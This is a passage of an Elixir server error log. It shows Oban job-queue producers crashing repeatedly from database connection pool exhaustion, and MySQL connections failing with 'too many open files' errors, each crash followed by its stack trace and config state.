    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:45:09.240615Z], limit: 10, uuid: "060150b1-6e4e-4bb9-ad8a-5b3b2a0cefea", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:09.240621Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.90275>, refresh_timer: #Reference<0.2525715032.1121189889.90265>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:21.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1039ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:45:09.239915Z], limit: 5, uuid: "20694e0c-fc10-4bf2-9463-14d6be4b3250", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:09.239921Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.90276>, refresh_timer: #Reference<0.2525715032.1077411843.214311>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 856ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:45:09.239174Z], limit: 3, uuid: "e94f4bd9-3774-4eb1-b991-30f75622ad9f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:09.239180Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.234488>, refresh_timer: #Reference<0.2525715032.1121189889.90214>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:21.786000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:21.989000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:22.843000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:23.196000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:24.308000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:29.341000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:29.428000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:29.704000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:31.029000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:34.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2072ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:45:21.239253Z], limit: 5, uuid: "2cbb095a-8ffa-497e-b5f6-8050c0098966", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:21.239258Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.234766>, refresh_timer: #Reference<0.2525715032.1099169794.243098>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1862ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:45:21.239581Z], limit: 10, uuid: "b57eab04-6917-4d7b-9c22-99e7674eef88", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:21.239587Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.234762>, refresh_timer: #Reference<0.2525715032.1068236804.234742>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1860ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:45:21.239056Z], limit: 20, uuid: "ff2b40d2-9864-4c87-88bc-7545fea9c31d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:21.239062Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.234764>, refresh_timer: #Reference<0.2525715032.1099169794.243089>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:34.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:45:21.239565Z], limit: 5, uuid: "dc655aaf-218a-49e6-b247-10d3666ef0ea", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:21.239570Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.234765>, refresh_timer: #Reference<0.2525715032.1099169794.243108>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:34.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1800ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:45:21.240703Z], limit: 3, uuid: "e3879e2c-84c7-46a2-8e68-11aba91f8096", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:21.240709Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.234763>, refresh_timer: #Reference<0.2525715032.1068236804.234754>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:45:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1845ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:45:21.237935Z], limit: 50, uuid: "37f8bb5f-c5dd-4211-890c-8d973b7767d9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:45:21.237944Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.234767>, refresh_timer: 